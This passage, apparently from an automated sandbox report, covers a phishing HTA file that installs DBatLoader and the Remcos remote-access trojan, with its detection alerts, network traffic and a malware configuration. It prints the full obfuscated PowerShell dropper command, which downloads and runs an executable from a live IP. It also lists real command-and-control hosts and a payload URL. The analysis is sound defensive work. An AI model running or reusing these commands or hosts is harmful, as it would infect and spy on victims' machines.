gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2488, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline", ProcessId: 4900, ProcessName: csc.exe
                Sigma detected: Execution of Suspicious File Type Extension
                Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\Public\Libraries\Emxwenem.PIF" , CommandLine: "C:\Users\Public\Libraries\Emxwenem.PIF" , CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\Emxwenem.PIF, NewProcessName: C:\Users\Public\Libraries\Emxwenem.PIF, OriginalFileName: C:\Users\Public\Libraries\Emxwenem.PIF, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Users\Public\Libraries\Emxwenem.PIF" , ProcessId: 6384, ProcessName: Emxwenem.PIF
                Sigma detected: Potential Binary Or Script Dropper Via PowerShell
                Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2488, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nicerose[1].exe
                Sigma detected: Dynamic CSharp Compile Artefact
                Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2488, TargetFilename: C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline
                Sigma detected: Non Interactive PowerShell Process Spawned
                Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))", CommandLine: PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICA

                Data Obfuscation

                barindex
                Sigma detected: Dot net compiler compiles file from suspicious location
                Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2488, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline", ProcessId: 4900, ProcessName: csc.exe

                Stealing of Sensitive Information

                barindex
                Sigma detected: Remcos
                Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\colorcpl.exe, ProcessId: 5368, TargetFilename: C:\ProgramData\remcos\logs.dat

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-18T15:35:52.984845+010020283713Unknown Traffic192.168.2.449736103.82.231.117443TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-18T15:36:00.437574+010020365941Malware Command and Control Activity Detected192.168.2.449738185.174.103.1112404TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-18T15:35:44.186977+010020220501A Network Trojan was detected173.214.167.7480192.168.2.449732TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-18T15:35:44.573919+010020220511A Network Trojan was detected173.214.167.7480192.168.2.449732TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-18T15:36:03.170325+010028033043Unknown Traffic192.168.2.449740178.237.33.5080TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus detection for URL or domain
                Source: http://173.214.167.74/444/nicerose.exeAvira URL Cloud: Label: malware
                Antivirus detection for dropped file
                Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nicerose[1].exeAvira: detection malicious, Label: HEUR/AGEN.1326052
                Source: C:\Users\Public\Libraries\Emxwenem.PIFAvira: detection malicious, Label: HEUR/AGEN.1326052
                Source: C:\Users\user\AppData\Roaming\nicerose.exeAvira: detection malicious, Label: HEUR/AGEN.1326052
                Found malware configuration
                Source: 00000012.00000002.2471613728.0000000022DA0000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": ["185.174.103.111:2404:1", "185.174.103.111:2468:1", "apostlejob2.duckdns.org:2468:1", "apostlejob2.duckdns.org:2404:1"], "Assigned name": "Big Money 1", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Rmc-3W4HX7", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "100"}
                Source: 6.0.nicerose.exe.400000.0.unpackMalware Configuration Extractor: DBatLoader {"Download Url": ["https://www.maan2u.com/docs/233_Emxwenemixg"]}
                Multi AV Scanner detection for dropped file
                Source: C:\Users\Public\Libraries\Emxwenem.PIFReversingLabs: Detection: 44%
                Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nicerose[1].exeReversingLabs: Detection: 44%
                Source: C:\Users\user\AppData\Roaming\nicerose.exeReversingLabs: Detection: 44%
                Multi AV Scanner detection for submitted file
                Source: greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.htaReversingLabs: Detection: 15%
                Yara detected Remcos RAT
                Source: Yara matchFile source: 14.2.colorcpl.exe.2480000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 18.2.colorcpl.exe.3200000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.colorcpl.exe.2810000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 18.2.colorcpl.exe.3200000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.colorcpl.exe.2810000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 14.2.colorcpl.exe.2480000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 6.2.nicerose.exe.2bb0000.1.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000A.00000002.4486647741.00000000277FE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000012.00000002.2471613728.0000000022DA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000E.00000002.2397238923.000000002AD90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.4486187101.0000000025F08000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2283124676.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: nicerose.exe PID: 6500, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 5368, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 4940, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 3864, type: MEMORYSTR
                Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for dropped file
                Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nicerose[1].exeJoe Sandbox ML: detected
                Source: C:\Users\Public\Libraries\Emxwenem.PIFJoe Sandbox ML: detected
                Source: C:\Users\user\AppData\Roaming\nicerose.exeJoe Sandbox ML: detected
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028415EC CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,10_2_028415EC
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024B15EC CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,14_2_024B15EC
                Source: nicerose.exeBinary or memory string: -----BEGIN PUBLIC KEY-----

                Phishing

                barindex
                Yara detected obfuscated html page
                Source: Yara matchFile source: greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta, type: SAMPLE
                Source: unknownHTTPS traffic detected: 103.82.231.117:443 -> 192.168.2.4:49736 version: TLS 1.2
                Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2185510356.0000000007B60000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: Automation.pdb source: powershell.exe, 00000003.00000002.2179439784.000000000357C000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: $fq7C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.pdb source: powershell.exe, 00000003.00000002.2180154159.00000000057B2000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: easinvoker.pdb source: nicerose.exe, 00000006.00000002.2278201946.0000000020A26000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F110000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp
                Source: Binary string: easinvoker.pdbGCTL source: nicerose.exe, 00000006.00000003.2234608953.0000000021B12000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A26000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234608953.0000000021B41000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F110000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2358880867.0000000000604000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2358880867.0000000000633000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2441500027.00000000006D9000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2441500027.00000000006B0000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: System.Managem..Automation.pdb source: powershell.exe, 00000003.00000002.2179439784.000000000357C000.00000004.00000020.00020000.00000000.sdmp
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BB58B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,6_2_02BB58B4
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0281B28E FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,10_2_0281B28E
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0281838E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,10_2_0281838E
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0282A01B FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,10_2_0282A01B
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028187A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,10_2_028187A0
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02827AAB FindFirstFileW,FindNextFileW,FindNextFileW,10_2_02827AAB
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0281AA71 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,10_2_0281AA71
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028168CD FindFirstFileW,FindNextFileW,10_2_028168CD
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02817848 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,10_2_02817848
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0281AC78 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,10_2_0281AC78
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0248B28E FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,14_2_0248B28E
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0248838E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,14_2_0248838E
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0249A01B FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,14_2_0249A01B
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024887A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,14_2_024887A0
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0248AA71 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,14_2_0248AA71
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_02497AAB FindFirstFileW,FindNextFileW,FindNextFileW,14_2_02497AAB
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_02487848 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,14_2_02487848
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024868CD FindFirstFileW,FindNextFileW,14_2_024868CD
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0248AC78 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,14_2_0248AC78
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02816D28 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,10_2_02816D28

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 173.214.167.74:80 -> 192.168.2.4:49732
                Source: Network trafficSuricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 173.214.167.74:80 -> 192.168.2.4:49732
                Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49738 -> 185.174.103.111:2404
                C2 URLs / IPs found in malware configuration
                Source: Malware configuration extractorURLs: https://www.maan2u.com/docs/233_Emxwenemixg
                Source: Malware configuration extractorURLs: apostlejob2.duckdns.org
                Source: Malware configuration extractorURLs: apostlejob2.duckdns.org
                Source: Malware configuration extractorIPs: 185.174.103.111
                Source: Malware configuration extractorIPs: 185.174.103.111
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BCE2F8 InternetCheckConnectionA,6_2_02BCE2F8
                Source: global trafficTCP traffic: 192.168.2.4:49738 -> 185.174.103.111:2404
                Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 14:35:44 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Tue, 17 Dec 2024 23:23:08 GMTETag: "14cc00-6297f94721358"Accept-Ranges: bytesContent-Length: 1362944Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 f2 06 00 00 d6 0d 00 00 00 00 00 2c 08 07 00 00 10 00 00 00 10 07 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 15 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 07 00 88 2a 00 00 00 40 08 00 00 0c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 07 00 48 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 77 07 00 9c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0c e6 06 00 00 10 00 00 00 e8 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 74 08 00 00 00 00 07 00 00 0a 00 00 00 ec 06 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 dc 1d 00 00 00 10 07 00 00 1e 00 00 00 f6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 37 00 00 00 30 07 00 00 00 00 00 00 14 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 88 2a 00 00 00 70 07 00 00 2c 00 00 00 14 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 34 00 00 00 00 a0 07 00 00 00 00 00 00 